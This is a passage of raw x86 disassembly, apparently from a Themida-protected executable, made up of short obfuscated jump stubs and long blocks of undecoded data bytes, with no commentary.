; ---------------------------------------------------------------------------


loc_5E142E:				; CODE XREF: Themida_:005E37F2j
		xchg	edx, [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		push	7EF0h
		mov	[esp], edi
		jmp	loc_5DE89D
; ---------------------------------------------------------------------------
		dd 15AD001h, 0EA6853F8h, 5B284032h, 535BD829h, 2F3E9468h
		dd 0D8015B74h, 0EB815F5Bh, 6D533EC6h, 17A9E952h, 0C6800000h
		dd 0CBC680FEh, 0EE80EE28h, 0FEEE80CBh, 0E9240C8Bh, 396Bh
		dd 4B951h, 0C8290000h, 24043359h, 7282E9h, 1C20100h, 5E585A32h
		dd 52467C1h, 247781h, 317E246Ah, 405F68D2h, 4DE90000h
		dd 66000022h, 0E924048Bh, 890Bh, 815DEB89h, 0C05431C3h
		dd 5DC3814Fh, 1899E76h,	241C8BD8h, 2BEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E14D5:				; CODE XREF: Themida_:005E744Ej
		pop	ebx
		jmp	loc_5E7627
; ---------------------------------------------------------------------------
		db 5Eh
		dd offset dword_455248+0CB20h
		dd 24048900h, 4B8h, 0F1BD5500h,	2962945Fh, 0FE95DEEh
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E14F7:				; CODE XREF: Themida_:005E7A16j
		dec	ecx
		jmp	loc_5E7984
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 81h
		dd 4C5h, 2C58100h, 87000000h, 305C242Ch, 0C0B60FC3h, 0E987048Fh
		dd 0FFFFC6A2h, 7011A1BFh, 0D1F78108h, 816A8357h, 0E90F5DC7h
		dd 0C2C78104h, 56BB91B6h, 0B30DB1BEh, 1B98E949h, 0CEFE0000h
		dd 29BCE9h, 0C8B6600h, 6C056824h, 0C890000h, 81E18924h
		dd 4C1h, 2BA5200h, 81000000h, 0A0460FC1h, 3FBF5769h, 0E94D1A22h
		dd 0FFFFCA08h, 68240C8Bh, 3313h, 89243C89h, 4C781E7h, 56000000h
		dd 8904EC83h, 5655241Ch, 741CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E1591:				; CODE XREF: Themida_:005E275Aj
		mov	edx, 397B6166h
		or	edx, 7690269h
		add	edx, 1B062922h
		push	edx
		jmp	loc_5E2040
; ---------------------------------------------------------------------------


loc_5E15A8:				; CODE XREF: Themida_:005E1BFEj
		add	ebx, edx
		pop	edx
		jmp	loc_5E16AA
; ---------------------------------------------------------------------------
aBsln		db 'LN',0
		dw 5900h
		dd 1039C981h, 0E9817D56h, 7D5F0879h, 0C8BC821h,	0E6895624h
		dd 61F8E9h, 0D8285B00h,	7AC2E9h, 24448100h, 0E0582004h
		dd 0FBE95948h, 5A000083h, 4C481h, 0EF800000h, 80DFF601h
		dd 0B30416C7h, 0B32CF800h, 0C919E95Bh, 1C89FFFFh, 815B5424h
		dd 4C3h, 0A4E95600h, 1FFFFF9h, 0EF835BDFh, 243C8704h, 5FFAE95Ch
		dd 97E90000h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E1627:				; CODE XREF: Themida_:005DF757j
		mov	ah, bl
		pop	bx
		xchg	ah, dl
		jmp	loc_5E6163
; ---------------------------------------------------------------------------
aSU		db ')u',0
		dd 280FB000h, 0B65258C5h, 37C58026h, 0ED80F500h, 555BE937h
		dd 0CF800000h, 5E7C053h, 8008E7C0h, 0EFC075C7h,	72E95003h
		dd 81FFFFC9h, 2902A2E9h, 0BFE95E0Dh, 81000037h,	0AA4334EDh
		dd 0D826E941h, 8951FFFFh, 4C181E1h, 83000000h, 0C8704E9h
		dd 0C895C24h, 104BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1692:				; CODE XREF: Themida_:005E1F89j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5E1C87
; ---------------------------------------------------------------------------
aIIoS		db 'ňo(=',9,0
		align 2


loc_5E16AA:				; CODE XREF: Themida_:005E15ABj
		xchg	ebx, [esp]
		jmp	loc_5DF0F7
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D3h, 0FFC4FDE9h, 0F74159FFh, 38C181D1h
		dd 893A083Ah, 240C8BC8h, 4C481h, 76E90000h, 81000076h
		dd 4C2h, 24148700h, 3124248Bh, 84ADE9D0h, 0EED00000h, 0EE80E6D0h
		dd 80D6F6F9h, 0F5888CC6h, 4977E9h, 52DDF600h, 83E917B2h
		dd 0BDFFFFE4h, 732B20FAh, 0DF05C581h, 0EE898CD4h, 24B8505Dh
		dd 0E9000000h, 7778h, 5C240C87h, 5259C801h, 7A03CEBAh
		dd 1C2817Dh, 81000000h,	0E3D03EEAh, 2EC38168h, 291A252Dh
		dd 5605E9D3h, 3C330000h, 243C3124h, 8B243C33h, 19E92424h
		dd 5E000023h, 81E68956h, 4C6h, 4C68100h, 56000000h, 42474FFh
		dd 24048F5Eh, 2C2815Ch,	87000000h, 0F6E92414h, 87000047h
		dd 7FE92434h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E178B:				; CODE XREF: Themida_:005E5ADCj
		mov	ecx, 36E228Dh
		inc	ecx
		not	ecx
		and	ecx, 1B3D511Dh
		push	esi
		mov	esi, 10361A53h
		and	esi, 550623FBh
		sub	esi, 28175364h
		add	ecx, esi
		jmp	loc_5DE23B
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 5BB070C2h, 0D49BF57h, 0F9311D9Dh, 56E9D15Fh,	5351BB53h
		dd 0DE897C3Eh, 4B2AE9h,	24248B00h, 0FFC3E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E17D9:				; CODE XREF: Themida_:005E9941j
		add	esp, 4
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 27425D54h
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp


loc_5E17FA:				; CODE XREF: Themida_:005E286Fj
					; Themida_:005E2B0Fj
		mov	ebx, [esp]
		jmp	loc_5DE2CA
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 3480251Eh, 0F5647435h, 4CB10D7Fh, 0E9534DF7h, 0D9h
		dd 0BD242C89h, 60C00CBEh, 6DEDC581h, 0C2E93866h, 81FFFFF9h
		dd 611A3FEDh, 0BD5555D3h, 0F027ACDh, 4246C29h, 0A6E95B5Dh
		dd 5DFFFFEEh, 708EE9h, 2434FF00h, 127DE9h, 4C18300h, 5C240C87h
		dd 5C24048Fh, 68243C89h, 3F29h,	0E9242C89h, 82BBh, 8138505h
		dd 68E95A64h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1877:				; CODE XREF: Themida_:005E6A5Cj
		add	esp, 4
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5E8BCC
; ---------------------------------------------------------------------------


loc_5E189D:				; CODE XREF: Themida_:005E4C5Dj
		push	esp
		pop	eax
		push	esi
		mov	esi, 61DF3C01h
		jmp	loc_5E5291
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 11589D1Ch, 0E99C2404h, 0FFFFC306h, 240C8B66h, 4EC8351h
		dd 81242489h, 42404h, 3FE90000h, 81000029h, 2ECh, 0CF4DE900h
		dd 0C581FFFFh, 0FCA3CE04h, 129AE9h, 4C48100h, 52000000h
		dd 7330E9h, 15EFBB00h, 0CB8168D1h, 2F0523D4h, 5A9CEB81h
		dd 81436BFDh, 196DE0EBh, 5BD8219Fh, 4ED4BF57h, 0EF810181h
		dd 0F6FB0C25h, 895FF831h, 0D80158C3h, 0EC81535Bh, 4, 89243489h
		dd 6149E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1932:				; CODE XREF: Themida_:005E7DD5j
		add	esp, 2
		add	al, bl
		push	edx
		jmp	loc_5E1322
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 0B1EF8000h,	0C780CF28h, 2434FFB1h
		dd 1F20E959h, 0B5510000h, 0BC28001h, 1AA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E1965:				; CODE XREF: Themida_:005E4CE6j
		push	small 123Ch
		mov	[esp], dx
		jmp	loc_5E8067
; ---------------------------------------------------------------------------


loc_5E1972:				; CODE XREF: Themida_:005E1A2Ej
		pop	ebx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_5E824C
; ---------------------------------------------------------------------------
		dd 613FF781h, 0CF816F8Ah, 514059A9h, 9921EF81h,	0FA8929C8h
		dd 53B7055Fh, 0D02914CDh, 0CD53B72Dh, 0D7685A14h, 89000034h
		dd 0B5E9242Ch, 8000004Bh, 88532EF1h, 0E760E9CBh, 4B9FFFFh
		dd 81000000h, 0DB042444h, 816CA329h, 5704246Ch,	17C2619h
		dd 8104244Ch, 57042444h, 817C2619h, 0DB04246Ch,	596CA329h
		dd 81BF5758h, 4F532164h, 4351F781h, 0C7813EDAh,	714161EAh
		dd 5054C781h, 0F7812FF9h, 0F35DA0Bh, 2D5FF801h,	2, 2474FF50h
		dd 81B6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1A1E:				; CODE XREF: Themida_:005E719Fj
		sub	eax, ecx
		pop	ecx
		xor	eax, 0E0E96CF0h
		add	eax, ebx
		mov	ecx, [eax]
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5E1972
; ---------------------------------------------------------------------------
		db 83h
		dd 0B5E904C4h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1A3B:				; CODE XREF: Themida_:005E9C0Cj
		xchg	esi, [esp]
		jmp	loc_5DDC2D
; ---------------------------------------------------------------------------


loc_5E1A43:				; CODE XREF: Themida_:005E6672j
		push	cx
		pushf
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------


loc_5E1A4B:				; CODE XREF: Themida_:005E64EAj
		pop	esi
		add	esi, 46C33607h
		pop	ebx
		push	edx
		jmp	loc_5E9E97
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 2D5B585Eh, 67063BB2h, 18320405h, 2DF02968h, 68183204h
		dd 63BB205h, 0C3315E67h, 8FCE9h, 24048900h, 6B43D768h
		dd 24048B31h, 2D04C483h, 0BCA4FE95h, 4B58C389h,	7C53B951h
		dd 0E1810261h, 40E06868h, 2FE7F181h, 0CB0159A4h, 8EBC159h
		dd 2A87BE56h, 0E0E9307Fh, 5F000028h, 44DEE9h, 46686600h
		dd 1FFAE931h, 895C0000h, 0BF57241Ch, 2,	15FFB89h, 2434FFD9h
		dd 4C4815Bh, 33000000h,	0C31240Ch, 240C3324h, 0C8B665Ch
		dd 0E0895024h, 8B1BA52h, 0CA8154EAh, 122339F0h,	39F5F281h
		dd 0D00156EBh, 4E8835Ah, 5C240487h, 4E5AE9h, 8BFA0100h
		dd 0D0E9243Ch, 8100004Ch, 7D3D3CEFh, 0E9815873h, 64283567h
		dd 0C181F929h, 64283567h, 6E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E1B35:				; CODE XREF: Themida_:005E475Aj
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5DE3B0
; ---------------------------------------------------------------------------


loc_5E1B3E:				; CODE XREF: Themida_:005DF5F0j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5E8E96
; ---------------------------------------------------------------------------
aISm		db ',$M%',0
		align 2
		dw 0EB29h
		dd 2C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E1B59:				; CODE XREF: Themida_:005E86A4j
		xor	ebx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5E80DB
; ---------------------------------------------------------------------------


loc_5E1B6C:				; CODE XREF: Themida_:005DF725j
		pop	ebx
		sub	eax, 4CC73154h
		add	eax, 0A6C5E20h
		add	eax, 4648653Ah
		sub	eax, esi
		jmp	loc_5DE024
; ---------------------------------------------------------------------------
		db 53h
		dd 3135BD55h, 0EB8932E9h, 7811E95Dh, 3C870000h,	24248B24h
		dd 0C8BE0F66h, 0FFE89CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E1BA1:				; CODE XREF: Themida_:005E651Cj
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5E7552
; ---------------------------------------------------------------------------
		dd 0FF242C89h, 5D042474h, 0E924048Fh, 76h
; ---------------------------------------------------------------------------


loc_5E1BBC:				; CODE XREF: Themida_:005E2471j
		xor	ebp, 26061F75h
		add	ebp, 29C6236Ah
		add	ebp, 0B715EAAh
		sub	ebp, 0B9E2E242h
		mov	esi, ebp
		pop	ebp
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5E1D6F
; ---------------------------------------------------------------------------
		dw 2168h
		dd 8900000Ah, 17E9243Ch, 5DFFFFF0h, 4C0DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E1BF5:				; CODE XREF: Themida_:005E8E11j
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		jmp	loc_5E15A8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0FFFFC4BEh, 0E9241489h, 54E1h, 0B24A3CBAh
		dd 24542946h, 555F5A04h, 66EABDh, 0D6F58129h, 16FB22Ch
		dd 7198E9EFh, 248B0000h, 2434FF24h, 81240C8Bh, 4C4h, 338FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1C46:				; CODE XREF: Themida_:005E6F4Dj
		add	eax, ebx
		pop	ebx
		push	dword ptr [edi+eax*4]
		push	esi
		mov	esi, 4CF21417h
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5E3414
; ---------------------------------------------------------------------------
		dw 32BAh
		dd 31AB8A92h, 2434FFD5h, 4C4835Ah, 0FFD958E9h, 0EFC147FFh
		dd 67EF8105h, 0F7241B37h, 0F7E955DFh
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1C87:				; CODE XREF: Themida_:005E169Bj
		pop	esp


loc_5E1C88:				; CODE XREF: Themida_:005DE988j
		push	57E3h
		mov	[esp], ebx
		jmp	loc_5E8015
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 533361B8h, 6B0C354Bh, 0E8C13352h, 1FF33503h,	0F92D3993h
		dd 56BE360h, 35502BFFh,	8158C701h, 4C7h, 243C8700h, 2124248Bh
		dd 2434FFC8h, 0FFF37BE9h, 243487FFh, 170AE95Ch,	52590000h
		dd 4BAh, 0E9D10100h, 8129h
; ---------------------------------------------------------------------------


loc_5E1CE4:				; CODE XREF: Themida_:005DFB9Dj
		sub	ebx, 9E54C89h
		mov	dword ptr [ebx], 0
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5E8190
; ---------------------------------------------------------------------------


loc_5E1CFE:				; CODE XREF: Themida_:005E976Dj
		add	eax, esi
		pop	esi
		jmp	loc_5E30D0
; ---------------------------------------------------------------------------
		dw 295Dh
		dd 0EB7FE9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E1D0E:				; CODE XREF: Themida_:005E217Aj
		push	eax
		mov	eax, 2E9E25DDh
		inc	eax
		jmp	loc_5E2FDD
; ---------------------------------------------------------------------------
		dw 9ABDh
		dd 0C1020E4Dh, 0EDC103EDh, 0F7D5F707h, 0C5ED81DDh, 8154162Fh
		dd 910099C5h, 5DEE01A6h, 0DEF7D6F7h, 4606E6C1h,	2B2F681h
		dd 0F70137DBh, 0CB74E95Eh, 489FFFFh, 5E08924h, 4, 405h
		dd 24048700h, 4EC815Ch,	89000000h, 9DE92434h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E1D6F:				; CODE XREF: Themida_:005E1BDDj
		add	esp, 4
		xor	edx, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5E1179
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED810000h, 4, 5C242C87h, 0E9243C89h, 0FFFFF780h
		dd 4C281h, 14870000h, 50575C24h, 6ABA5256h, 0BE61D465h
		dd 0CE7DAAC6h, 2EE7EE81h, 0D6013D52h, 2EE7C681h, 0C15A3D52h
		dd 0CE8107E6h, 1E6471DFh, 79DEEE81h, 0F0893F6Ch, 3C29E9h
		dd 0BDE0E900h, 0E281FFFFh, 353E356Bh, 7AA4BE56h, 0DEF7225Bh
		dd 1591CE81h, 97E90175h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1DF7:				; CODE XREF: Themida_:005E0D5Bj
		neg	edx
		xchg	edx, ecx
		jmp	loc_5E7453
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 56592434h, 0C681E689h, 4, 4C681h, 34330000h
		dd 24343124h, 4C13E9h, 5FEB8100h, 5D4F714Eh, 31241C33h
		dd 1C33241Ch, 285E924h,	0E9580000h, 2B71h, 8147E957h, 0C9810000h
		dd 610046C9h, 8104E9C1h, 200DBDE1h, 1DE98102h, 29D4AED8h
		dd 0D50159CDh, 2DA0C581h, 875A2D71h, 0A2E9242Ch, 55000055h
		dd 0A370BBBDh, 0E9E9557Fh
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E1E77:				; CODE XREF: Themida_:005E9511j
		push	358Fh
		mov	[esp], edx
		pop	ebx
		jmp	loc_5E7D0E
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 1E3AE9h, 241CF700h, 0F231E95Dh, 0E959FFFFh, 700h, 6E2AE981h
		dd 0E9015D84h, 0FFCE8DE9h, 0C8B66FFh, 4EC8124h,	89000000h
		dd 0D9E9243Ch
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E1EBB:				; CODE XREF: Themida_:005E59B0j
		add	[esp+8], esi
		pop	esi
		add	[esp+4], edx
		jmp	loc_5DDBE3
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
aSu		db '\#',0
		align 2
		dw 0F280h
		dd 5AD530C8h, 0E969B652h, 1426h, 0B33D3D05h, 24348B46h
		dd 5585450h, 4,	5A64E9h, 243C8700h, 8124248Bh, 4C6h, 2C68300h
		dd 4D72E9h, 4C48100h, 0E9000000h, 0FFFFBCAAh, 5F0295Eh
		dd 9E6271Bh, 4BC2E9h, 0E7895700h, 4C781h, 0EF830000h, 243C8704h
		dd 0E924248Bh, 0FFFFF4E1h, 7A03C0BDh, 0DDC1E952h, 2C31FFFFh
		dd 242C3324h, 0FFD9F8E9h, 48B66FFh, 68256824h, 34890000h
		dd 68E68924h, 58C4h, 0FFCE65E9h, 14F756FFh, 14E95E24h
		dd 31FFFFFCh, 0D3F7241Ch, 33241C31h, 0B1E9241Ch
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1F7F:				; CODE XREF: Themida_:005DF5C8j
		inc	ebp
		xor	ebp, 33F294Dh
		add	edx, ebp
		pop	ebp
		jmp	loc_5E1692
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 9C240431h, 0FFBC25E9h, 243C89FFh, 0B7E9CF89h, 57000037h
		dd 42474FFh, 24048F5Fh,	824248Bh, 0E99C2404h, 3146h, 0E2D1C209h
		dd 0FFD97EE9h, 0E8E956FFh, 6800002Fh, 1DFCh, 0FF241489h
		dd 0E9042474h, 0FFFFD112h, 0B3535066h, 3000B092h, 63E95BD8h
		dd 59000061h, 8124048Bh, 4C4h, 2434FF00h, 2E9535Bh, 5000007Eh
		dd 3C84E9h, 4EC8300h, 0E9241C89h, 7C23h
; ---------------------------------------------------------------------------


loc_5E200C:				; CODE XREF: Themida_:005E8678j
		mov	[esp], esi
		mov	esi, 4CAB603Fh
		shr	esi, 2
		inc	esi
		or	esi, 150B0B01h
		sub	esi, 0FFFFFFFFh
		push	eax
		jmp	loc_5E363A
; ---------------------------------------------------------------------------


loc_5E202A:				; CODE XREF: Themida_:005E3D24j
		push	ecx
		mov	cl, 0F9h
		add	al, cl
		pop	ecx
		sub	al, ch
		sub	al, 0F9h
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5DF918
; ---------------------------------------------------------------------------


loc_5E2040:				; CODE XREF: Themida_:005E15A3j
		add	dword ptr [esp], 70824A70h
		pop	esi
		sub	esi, 70824A70h
		pop	edx
		add	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ecx
		jmp	loc_5E9B65
; ---------------------------------------------------------------------------


loc_5E205E:				; CODE XREF: Themida_:005E57F7j
		mov	esi, 3A324019h
		xor	edi, esi
		jmp	loc_5E0930
; ---------------------------------------------------------------------------
		dw 5456h
		dd 0E924348Bh, 0FFFFD1F3h, 4EC81h, 0A3E90000h, 0BAFFFFE8h
		dd 16E54A65h, 390E9h, 0C1E1D100h, 0F74106E1h, 7FF181D9h
		dd 1BD00C4h, 17F468C1h,	1C890000h, 0BB24h, 0CB010000h
		dd 36F9E9h, 0DCE94800h,	8B000078h, 3E92424h, 5CFFFFBBh
		dd 54240489h, 8324048Bh, 0EC8104C4h, 4,	0E9240C89h, 53F8h
		dd 5104C483h, 0F797595Fh, 814F97D0h, 0C32F43C7h, 0E9FB015Bh
		dd 0FFFFBB4Ah, 0CBE9028Fh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E20F3:				; CODE XREF: Themida_:005DDDFDj
		xor	[esp], ecx
		jmp	loc_5E6519
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFFC81E9h, 243C89FFh, 8243481h, 5B57C05Bh, 0FFE2F4E9h
		dd 0E9535FFFh, 0FFFFF6EAh, 4C600ABFh, 0EF81473Eh, 3E4C6007h
		dd 8CE9FD01h, 83FFFFF9h, 0EE8104C4h, 1A7726BFh,	0C681C601h
		dd 1A7726BFh, 2911E9h, 3C896600h, 0A7686624h, 665F66BFh
		dd 66349E2Dh, 6626022Dh, 6603732Dh, 0CAE9F801h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E215F:				; CODE XREF: Themida_:005E4DB9j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5E4F1C
; ---------------------------------------------------------------------------
		dd 1384E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E2176:				; CODE XREF: Themida_:005E230Fj
		not	ebp
		xchg	ebp, edi
		jmp	loc_5E1D0E
; ---------------------------------------------------------------------------
		db 0F6h
aSIasbssdt	db 'SSDt',0
		db 0
; ---------------------------------------------------------------------------


loc_5E218D:				; CODE XREF: Themida_:005E7A57j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5E37E0
; ---------------------------------------------------------------------------
		dd 5F09595Bh, 241C8B24h, 4C481h, 6F810000h, 0B3CA624h
		dd 20E95618h, 8100007Bh, 4C6h, 2550E900h, 0EC810000h, 4
		dd 89242C89h, 0DA6850E5h, 584DDE43h, 43DEBE56h,	0F0314DDEh
		dd 1B9515Eh, 291B9672h,	0C50159CDh, 7201C581h, 47E91B96h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E21EF:				; CODE XREF: Themida_:005E4D0Ej
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 30EE65D1h
		add	ebx, 17085E94h
		xor	ebx, 7030CA06h
		xor	ebx, 1FCC671Dh
		mov	edx, ebx
		jmp	loc_5E59A9
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0DA59E9CFh, 0C381FFFFh, 545A5EB4h, 5BD8295Fh, 56C56850h
		dd 34890000h, 6449BE24h, 0F0891962h, 0E2EB815Eh, 512A9255h
		dd 5367F7B9h, 81D9F753h, 416D42C9h, 7B08E91Ch, 0E0C10000h
		dd 4EC8103h, 0E9000000h, 1522h,	54243489h, 0FFF272E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E2269:				; CODE XREF: Themida_:005E7F2Dj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		jmp	loc_5E5228
; ---------------------------------------------------------------------------


loc_5E2275:				; CODE XREF: Themida_:005E1101j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5E57C3
; ---------------------------------------------------------------------------
		dd 0E951CC04h, 161Ah
; ---------------------------------------------------------------------------


loc_5E2290:				; CODE XREF: Themida_:005E126Dj
		mov	ebx, 460BEAFh
		jmp	loc_5E61F4
; ---------------------------------------------------------------------------
aASO		db '{|#O',0
		align 4
		dd 0E59CEB81h, 0D931BB90h, 81241C8Bh, 4C4h, 573A2D00h
		dd 0C8010683h, 83573A05h, 0EB815906h, 5F511F9Dh, 0BF57C329h
		dd 56E86D9Eh, 0FFF9A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E22D5:				; CODE XREF: Themida_:005E2BE2j
		shl	edx, 1
		jmp	loc_5E8B67
; ---------------------------------------------------------------------------
		dd 1E7968h, 24048900h, 61599468h, 0E0C15862h, 4E0C102h
		dd 0A99D0005h, 1C470967h, 582434FFh, 50C768h, 243C8900h
		dd 1720E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E2309:				; CODE XREF: Themida_:005E2656j
		pop	edi
		shl	edi, 6
		xchg	ebp, edi
		jmp	loc_5E2176
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704C0h, 0C4835C24h, 4EC8304h
		dd 81243C89h, 38312404h, 0A8E9712Dh, 5F000015h,	81E78957h
		dd 4C7h, 4C78300h, 5AD8E957h, 0C4830000h, 779B3504h, 0C3892623h
		dd 4D846858h, 3C890000h, 4EC8324h, 0E9241C89h, 276Ch, 4C381h
		dd 3AE90000h, 5F000014h, 160E9h, 0E930FF00h, 0FFFFB83Eh
		dd 19A3E952h, 0C890000h, 53E18924h, 980DE8BBh, 78EB8133h
		dd 81537D40h, 1ACD74F3h, 7220E9E0h, 5A680000h, 5B568625h
		dd 0DAAAC381h, 0D989A979h, 64D6E95Bh, 4300000h,	0FFE99C24h
		dd 66FFFFB7h, 0E9240C89h, 1E57h, 6F1815Dh, 1142164h, 0C68359CEh
		dd 24348704h, 273CE9h, 5D82900h, 16E15AA3h, 12F468h, 240C8900h
		dd 6C6E6852h, 4A5A1B37h, 0F281DAF7h, 0AA4CE946h, 0FFD0DEE9h
		dd 24048BFFh, 0FFE2A2E9h, 5DEF89FFh, 5F7BED81h,	0FD013D22h
		dd 0FFD53FE9h, 0B1EA81FFh, 0C13D0F74h, 5BE906E2h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E2427:				; CODE XREF: Themida_:005E2CAFj
		pop	ebp
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_5E8576
; ---------------------------------------------------------------------------
		db 57h
		dd 0BE565F54h, 4, 5E9F701h, 81000056h, 32697FEBh, 2F43E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E2462:				; CODE XREF: Themida_:005E064Dj
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	ebp
		mov	ebp, 7CAC3668h
		neg	ebp
		jmp	loc_5E1BBC
; ---------------------------------------------------------------------------
		dw 0F868h
		dd 8900002Dh, 4832424h,	0BFE90424h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E2487:				; CODE XREF: Themida_:005DEE7Ej
		pop	ebx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5E1246
		push	ebx
		mov	ebx, 1Ch
		add	ebx, 559B30F0h
		jmp	loc_5E6FEA
; ---------------------------------------------------------------------------


loc_5E24A9:				; CODE XREF: Themida_:005DDD32j
		not	dword ptr [esp]
		pop	edx
		jmp	loc_5DF2A6
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 6BF32D08h, 0C70180F3h, 0E9F88958h, 39FCh, 2B8h, 8BC60100h
		dd 0C4832404h, 24348704h, 0FFE0B6E9h, 0EAF681FFh, 811EFF14h
		dd 357235CEh, 5AB85034h, 0D148F4Eh, 64A12008h, 31350335h
		dd 35D0F779h, 238D35D2h, 84914105h, 0AEBA5295h,	29370203h
		dd 0ED94E9D6h, 3433FFFFh, 24248B24h, 9C240409h,	0FFB6A1E9h
		dd 0C604ACFFh, 510E951h, 0E95A0000h, 0E9Fh
; ---------------------------------------------------------------------------


loc_5E252C:				; CODE XREF: Themida_:005E318Aj
		mov	ecx, [esp]
		jmp	loc_5E643B
; ---------------------------------------------------------------------------
		dd 4EB81h, 1C870000h, 24248B24h, 50241489h, 0B674E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E254A:				; CODE XREF: Themida_:005DDFC2j
		push	36AA127Dh
		mov	ebx, [esp]
		jmp	loc_5DEF17
; ---------------------------------------------------------------------------


loc_5E2557:				; CODE XREF: Themida_:005E7BC1j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5DDFBE
; ---------------------------------------------------------------------------
		db 81h
		dd 8937B7CEh, 94EE8155h, 8169504Ch, 0D55C20C6h,	26F68102h
		dd 2945E5E8h, 24348BF1h, 0FFFB4FE9h, 739A68FFh,	13E90000h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E258F:				; CODE XREF: Themida_:005E97FCj
		push	edx
		push	esp
		jmp	loc_5E2C44
; ---------------------------------------------------------------------------
		dw 0E95Dh
